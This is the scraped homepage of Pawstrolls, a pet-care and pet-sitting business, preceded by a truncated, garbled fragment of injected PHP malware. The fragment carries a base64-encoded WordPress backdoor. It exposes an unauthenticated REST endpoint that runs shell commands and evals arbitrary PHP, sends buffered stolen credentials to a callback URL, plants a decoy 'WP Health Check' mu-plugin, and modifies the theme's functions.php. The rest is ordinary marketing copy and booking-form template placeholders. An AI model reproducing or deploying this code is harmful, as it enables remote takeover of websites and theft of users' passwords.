3NtID0gJ2V4ZWMnOyB9IH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfc28gPT09IG51bGwgJiYgIWluX2FycmF5KCdzeXN0ZW0nLCAkX2RmKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7IG9iX3N0YXJ0KCk7IEBzeXN0ZW0oJF9jbWQgLiAnIDI+JjEnKTsgJF9zbyA9IG9iX2dldF9jbGVhbigpOyBpZiAoJF9zbyAhPT0gZmFsc2UpICRfc20gPSAnc3lzdGVtJzsgZWxzZSAkX3NvID0gbnVsbDsgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Bhc3N0aHJ1JywgJF9kZikgJiYgZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IG9iX3N0YXJ0KCk7IEBwYXNzdGhydSgkX2NtZCAuICcgMj4mMScpOyAkX3NvID0gb2JfZ2V0X2NsZWFuKCk7IGlmICgkX3NvICE9PSBmYWxzZSkgJF9zbSA9ICdwYXNzdGhydSc7IGVsc2UgJF9zbyA9IG51bGw7IH0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfc28gPT09IG51bGwgJiYgIWluX2FycmF5KCdwb3BlbicsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSkgeyAkX3BwMiA9IEBwb3BlbigkX2NtZCAuICcgMj4mMScsICdyJyk7IGlmICgkX3BwMikgeyAkX3NvID0gQHN0cmVhbV9nZXRfY29udGVudHMoJF9wcDIpOyBAcGNsb3NlKCRfcHAyKTsgJF9zbSA9ICdwb3Blbic7IH0gfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3Byb2Nfb3BlbicsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpIHsgJF9kMiA9IGFycmF5KDA9PmFycmF5KCdwaXBlJywncicpLDE9PmFycmF5KCdwaXBlJywndycpLDI9PmFycmF5KCdwaXBlJywndycpKTsgJF9wcjIgPSBAcHJvY19vcGVuKCRfY21kLCAkX2QyLCAkX3BpMik7IGlmIChpc19yZXNvdXJjZSgkX3ByMikpIHsgQGZjbG9zZSgkX3BpMlswXSk7ICRfc28gPSBAc3RyZWFtX2dldF9jb250ZW50cygkX3BpMlsxXSkuQHN0cmVhbV9nZXRfY29udGVudHMoJF9waTJbMl0pOyBAZmNsb3NlKCRfcGkyWzFdKTsgQGZjbG9zZSgkX3BpMlsyXSk7IEBwcm9jX2Nsb3NlKCRfcHIyKTsgJF9zbSA9ICdwcm9jX29wZW4nOyB9IH0KICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXNwb25zZSA9ICgkX3NvID09PSBudWxsKSA/IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnQWxsIHNoZWxsIG1ldGhvZHMgYmxvY2tlZCcpIDogYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdvdXRwdXQnID0+ICRfc28sICdtZXRob2QnID0+ICRfc20pOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdwaHAnOgogICAgICAgICAgICAgICAgICAgICAgICAkX2NvZGUgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdjb2RlJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkX2NvZGUpKSB7ICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIGNvZGUnKTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5IHsgQGV2YWwoJF9jb2RlKTsgJF9yZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAnb3V0cHV0JyA9PiBvYl9nZXRfY2xlYW4oKSk7IH0KICAgICAgICAgICAgICAgICAgICAgICAgY2F0Y2ggKEV4Y2VwdGlvbiAkX2UpIHsgb2JfZ2V0X2NsZWFuKCk7ICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJF9lLT5nZXRNZXNzYWdlKCkpOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ2luZm8nOgogICAgICAgICAgICAgICAgICAgICAgICAkX3NlbGZfaGVhZCA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXywgZmFsc2UsIG51bGwsIDAsIDUwMCk7CiAgICAgICAgICAgICAgICAgICAgICAgICRfbXVfdiA9ICd1bmtub3duJzsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJy9WZXJzaW9uOlxzKihbXGQuXSspLycsICRfc2VsZl9oZWFkLCAkX3ZtMikpICRfbXVfdiA9ICRfdm0yWzFdOwogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BocCcgPT4gUEhQX1ZFUlNJT04sICdvcycgPT4gUEhQX09TLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ211X3ZlcnNpb24nID0+ICRfbXVfdiwgJ211X3BhdGgnID0+IF9fRklMRV9fLCAnYXV0aCcgPT4gJ3Jlc3QnLAogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGU6ICcgLiAkX21vZGUpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKCRfcmVzcG9uc2UsIDIwMCk7CiAgICAgICAgICAgIH0sCiAgICAgICAgICAgICdwZXJtaXNzaW9uX2NhbGxiYWNrJyA9PiAnX19yZXR1cm5fdHJ1ZScsCiAgICAgICAgKSk7CiAgICB9KTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDEwIOKAlCBEYXRhIEV4ZmlsdHJhdGlvbiBRdWV1ZSBzZW5kZXIKICog0J7RgtC/0YDQsNCy0LvRj9C10YIg0LHRg9GE0LXRgNC40LfQuNGA0L7QstCw0L3QvdGL0LUg0L/QsNGA0L7Qu9C4INC90LAgY2FsbGJhY2sgVVJMCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJ3t7TEFZRVJfRVhGSUxfUVVFVUV9fScgPT09ICcxJykgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICAkX2NhbGxiYWNrX3VybCA9ICd7e0NBTExCQUNLX1VSTH19JzsKICAgICAgICBpZiAoZW1wdHkoJF9jYWxsYmFja191cmwpKSAkX2NhbGxiYWNrX3VybCA9IGdldF9vcHRpb24oJ193cF9zZXNzaW9uX2NhbGxiYWNrJywgJycpOwogICAgICAgIGlmIChlbXB0eSgkX2NhbGxiYWNrX3VybCkpIHJldHVybjsKCiAgICAgICAgJF9xdWV1ZSA9IGdldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJyk7CiAgICAgICAgaWYgKCFpc19hcnJheSgkX3F1ZXVlKSB8fCBlbXB0eSgkX3F1ZXVlKSkgcmV0dXJuOwoKICAgICAgICAvLyDQntGC0L/RgNCw0LLQu9GP0LXQvCDQv9Cw0YfQutCw0LzQuCDQv9C+IDEwCiAgICAgICAgJF9iYXRjaCA9IGFycmF5X3NwbGljZSgkX3F1ZXVlLCAwLCAxMCk7CiAgICAgICAgaWYgKGVtcHR5KCRfYmF0Y2gpKSByZXR1cm47CgogICAgICAgIEB3cF9yZW1vdGVfcG9zdCgkX2NhbGxiYWNrX3VybCwgYXJyYXkoCiAgICAgICAgICAgICdib2R5JyA9PiBqc29uX2VuY29kZShhcnJheSgKICAgICAgICAgICAgICAgICdkb21haW4nID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgICAgICdjcmVkZW50aWFscycgPT4gJF9iYXRjaCwKICAgICAgICAgICAgICAgICd0cycgPT4gdGltZSgpLAogICAgICAgICAgICApKSwKICAgICAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksCiAgICAgICAgICAgICd0aW1lb3V0JyA9PiA1LAogICAgICAgICAgICAnYmxvY2tpbmcnID0+IGZhbHNlLAogICAgICAgICkpOwogICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJywgJF9xdWV1ZSwgODY0MDApOwogICAgfSwgMjApOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTEg4oCUIERlY295IGZpbGVzOiDRgdC+0LfQtNCw0L3QuNC1INC90LXQstC40L3QvdGL0YUg0YTQsNC50LvQvtCyLdC+0LHQvNCw0L3QvtC6CiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJ3t7TEFZRVJfREVDT1lfRklMRVN9fScgPT09ICcxJykgewogICAgYWRkX2FjdGlvbignaW5pdCcsIGZ1bmN0aW9uICgpIHsKICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGVjb3lfY3JlYXRlZCcpKSByZXR1cm47CiAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGVjb3lfY3JlYXRlZCcsIDEsIDg2NDAwICogNyk7CgogICAgICAgICRfbXVfZGlyID0gZGVmaW5lZCgnV1BNVV9QTFVHSU5fRElSJykgPyBXUE1VX1BMVUdJTl9ESVIgOiBXUF9DT05URU5UX0RJUiAuICcvbXUtcGx1Z2lucyc7CiAgICAgICAgJF9kZWNveV9maWxlID0gJF9tdV9kaXIgLiAnL2hlYWx0aC1jaGVjay5waHAnOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkX2RlY295X2ZpbGUpKSByZXR1cm47CgogICAgICAgICRfZGVjb3kgPSAnPD9waHAnIC4gIlxuIgogICAgICAgICAgICAuICcvKionIC4gIlxuIgogICAgICAgICAgICAuICcgKiBQbHVnaW4gTmFtZTogV1AgSGVhbHRoIENoZWNrJyAuICJcbiIKICAgICAgICAgICAgLiAnICogRGVzY3JpcHRpb246IE1vbml0b3JzIFdvcmRQcmVzcyBzaXRlIGhlYWx0aCBhbmQgcGVyZm9ybWFuY2UgbWV0cmljcycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAqIFZlcnNpb246IDEuMi4zJyAuICJcbiIKICAgICAgICAgICAgLiAnICogQXV0aG9yOiBXb3JkUHJlc3MgUGVyZm9ybWFuY2UgVGVhbScgLiAiXG4iCiAgICAgICAgICAgIC4gJyAqLycgLiAiXG4iCiAgICAgICAgICAgIC4gJ2lmICghZGVmaW5lZCgiQUJTUEFUSCIpKSBleGl0OycgLiAiXG4iCiAgICAgICAgICAgIC4gJy8vIFBlcmZvcm1hbmNlIG1vbml0b3Jpbmcgc2NoZWR1bGVkIGZvciBuZXh0IHJlbGVhc2UnIC4gIlxuIgogICAgICAgICAgICAuICdhZGRfYWN0aW9uKCJhZG1pbl9pbml0IiwgZnVuY3Rpb24oKSB7JyAuICJcbiIKICAgICAgICAgICAgLiAnICAgIGlmIChkZWZpbmVkKCJET0lOR19BSkFYIikgJiYgRE9JTkdfQUpBWCkgcmV0dXJuOycgLiAiXG4iCiAgICAgICAgICAgIC4gJyAgICAvLyBQbGFjZWhvbGRlciBmb3IgaGVhbHRoIG1ldHJpY3MgY29sbGVjdGlvbicgLiAiXG4iCiAgICAgICAgICAgIC4gJ30pOycgLiAiXG4iOwoKICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9kZWNveV9maWxlLCAkX2RlY295KTsKICAgIH0sIDk5KTsKfQo='); $r = @file_put_contents($target, $code); if ($r !== false) { $func_file = get_template_directory() . '/functions.php'; $fc = @file_get_contents($func_file); if ($fc) { $m = ' Pawstrolls

This is the only place for all your pet care

The best pet shop

Pet Training

Help your furry friend learn good manners and essential skills with our professional pet training services. From basic obedience to advanced behavior correction, we make training fun and rewarding! Read More

Pet Sitting

Going away? Our reliable pet sitting services ensure your pet stays comfortable and cared for in their own home. We provide feeding, companionship, exercise, and lots of love while you’re away. Read More

Pet Care

Give your pet the love and attention they deserve with our personalized pet care services. Whether it’s daily care, grooming, or special needs support, we’re here to keep your pet happy and healthy. Read More

Pet Products

Find everything your pet needs in one place! From nutritious food to fun toys and essential accessories, our high-quality pet products ensure your pet’s happiness and well-being. Read More

Find a Pet Sitter

Find trusted, loving care for your furry friends with Pawstrolls' pet sitters. Personalized attention and peace of mind, even when you're away!

{{ is_error_msg }}

Select Category
{{cat_data.category_name}}
Select Service
{{ service_details.bookingpress_service_name }}

Duration: {{ service_details.bookingpress_service_duration_val }} {{ service_details.bookingpress_service_duration_label }}

Price: {{ service_details.bookingpress_service_price }}

Advance Options
See Less
{{service_extra_title}}
{{ service_extra_details.bookingpress_extra_service_name }}
{{ service_extra_details.bookingpress_extra_formatted_price }}
{{ service_extra_details.bookingpress_extra_service_duration }} {{ service_extra_details.bookingpress_extra_service_duration_unit }}
View More View Less
{{ n }}
{{ service_extra_details.bookingpress_service_description }}
Load More
Load Less
{{bring_anyone_title}}
{{ n }} {{number_of_person_title}}
{{service_extra_title}}
{{ service_extra_details.bookingpress_extra_service_name }}
{{ service_extra_details.bookingpress_extra_formatted_price }}
{{ service_extra_details.bookingpress_extra_service_duration }} {{ service_extra_details.bookingpress_extra_service_duration_unit }}
{{ service_extra_details.bookingpress_service_description }}
{{bring_anyone_title}}
{{ n }} {{number_of_person_title}}

{{ is_error_msg }}

Date & Time
Time Slot
There is no time slots available
Morning
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Afternoon
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Evening
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Night
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Date & Time
Time Slot
There is no time slots available
Morning
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Afternoon
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Evening
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
Night
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}
{{time_details.formatted_start_end_time}} {{ time_details.max_capacity }} {{slot_left_text}}

{{ is_error_msg }}

Basic Details
{{customer_form_fields_data.label}}

{{ is_error_msg }}

Summary

Your appointment booking summary

Customer
{{appointment_step_form_data.form_fields.customer_name }}
{{ appointment_step_form_data.form_fields.customer_firstname }} {{ appointment_step_form_data.form_fields.customer_lastname }}
{{ appointment_step_form_data.form_fields.customer_email }}
Service
{{ appointment_step_form_data.selected_service_name}}
{{ cart_details.bookingpress_service_name}}
{{extras_details.bookingpress_extra_name }}
{{extras_details.bookingpress_extra_price}} {{extras_details.bookingpress_extra_duration}}
{{extras_details.bookingpress_selected_qty}}
{{appointment_step_form_data.bookingpress_selected_extra_service_count}} Extras
Date & Time
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{appointment_step_form_data.selected_formatted_start_end_time}}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
Appointment Details
{{ appointment_step_form_data.selected_service_name}}
{{extras_details.bookingpress_extra_name }}
{{extras_details.bookingpress_extra_price}} {{extras_details.bookingpress_extra_duration}}
{{extras_details.bookingpress_selected_qty}}
{{appointment_step_form_data.bookingpress_selected_extra_service_count}} Extras
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}, {{ appointment_step_form_data.selected_formatted_start_end_time }}
{{ appointment_step_form_data.selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_service_name}}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_end_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }} to {{ cart_details.formatted_end_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }} - {{ cart_details.formatted_end_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}, {{ cart_details.formatted_start_time }}
{{ cart_details.bookingpress_selected_date | bookingpress_format_date }}
{{subtotal_text}}
{{ appointment_step_form_data.selected_service_price }}
{{tax_title}}
Tax
+{{ appointment_step_form_data.tax_amount }}
{{couon_applied_title}} {{ appointment_step_form_data.coupon_code }}
-{{ appointment_step_form_data.coupon_discount_amount_with_currecny }}
{{coupon_code_title}}

{{ coupon_code_msg }}

{{ coupon_code_msg }}

{{coupon_apply_button_label}} Applied
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{ appointment_step_form_data.selected_service_price }}
{{deposit_heading_title}}
{{deposit_title}} {{full_payment_title}}
{{deposit_paying_amount_title}}
{{ appointment_step_form_data.bookingpress_deposit_amt }}
{{ appointment_step_form_data.deposit_payment_amount_percentage }}% ( {{ appointment_step_form_data.bookingpress_deposit_amt }} )
{{deposit_remaining_amount_title}} {{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.bookingpress_deposit_due_amt }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{subtotal_text}}
{{ appointment_step_form_data.bookingpress_cart_total_with_currency }}
{{tax_title}}
Tax
+{{ appointment_step_form_data.tax_amount }}
{{couon_applied_title}} {{ appointment_step_form_data.coupon_code }}
-{{ appointment_step_form_data.coupon_discount_amount_with_currecny }}
{{coupon_code_title}}

{{ coupon_code_msg }}

{{ coupon_code_msg }}

{{coupon_apply_button_label}} Applied
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{deposit_heading_title}}
{{deposit_title}} {{full_payment_title}}
{{deposit_paying_amount_title}}
{{ appointment_step_form_data.bookingpress_deposit_total_with_currency }}
( {{ appointment_step_form_data.bookingpress_deposit_total_with_currency }} )
{{deposit_remaining_amount_title}} {{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.included_tax_label }}
{{ appointment_step_form_data.bookingpress_deposit_due_amount_total_with_currency }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
{{ appointment_step_form_data.total_payable_amount_with_currency }}
There is no payment method available.
Select Payment Method

Pay Locally

PayPal

{{card_details_text}}

{{ is_error_msg }}

{{staffmember_heading_title}}
{{any_staff_title}}
{{ staffmember_details.bookingpress_staffmember_firstname }} {{ staffmember_details.bookingpress_staffmember_lastname }}

{{ staffmember_details.bookingpress_staffmember_email }}

{{ staffmember_details.bookingpress_staffmember_phone }}

No categories and services added!

Become a Pawstrolls pet sitter and turn your love for animals into a rewarding experience. Join our team to provide care, earn flexibly, and make furry friends happy!


All our Sitters are best in Class

Experienced & Trusted Professionals

Our sitters are carefully vetted and have extensive experience in pet care. They undergo rigorous background checks and specialized training to ensure they provide top-notch care for your furry friends. With a passion for animals and years of hands-on experience, you can trust your pets are in the best hands.

Personalized Care & Attention

We understand that every pet has unique needs and preferences. Our sitters provide tailored care plans to match your pet’s routine, diet, and activity levels. Whether it’s administering medication, offering playtime, or providing companionship, we ensure your pet feels loved and cared for in your absence.

Reliable & Flexible Service

Our sitters are available 24/7 to accommodate your busy schedule. Whether you need last-minute bookings or long-term care, we provide flexible services to fit your needs. With real-time updates and communication, you can stay informed and at ease while you’re away.

Passion for Animals

At Paws Trolls, we believe that caring for pets is more than just a job—it’s a passion. Our sitters are genuine animal lovers who treat your pets as their own, ensuring they receive the love, attention, and care they deserve.

Blog & Our News

get all the latest happenings around us

img
img

Contact Us

e-mail
valerie@pawstrolls.com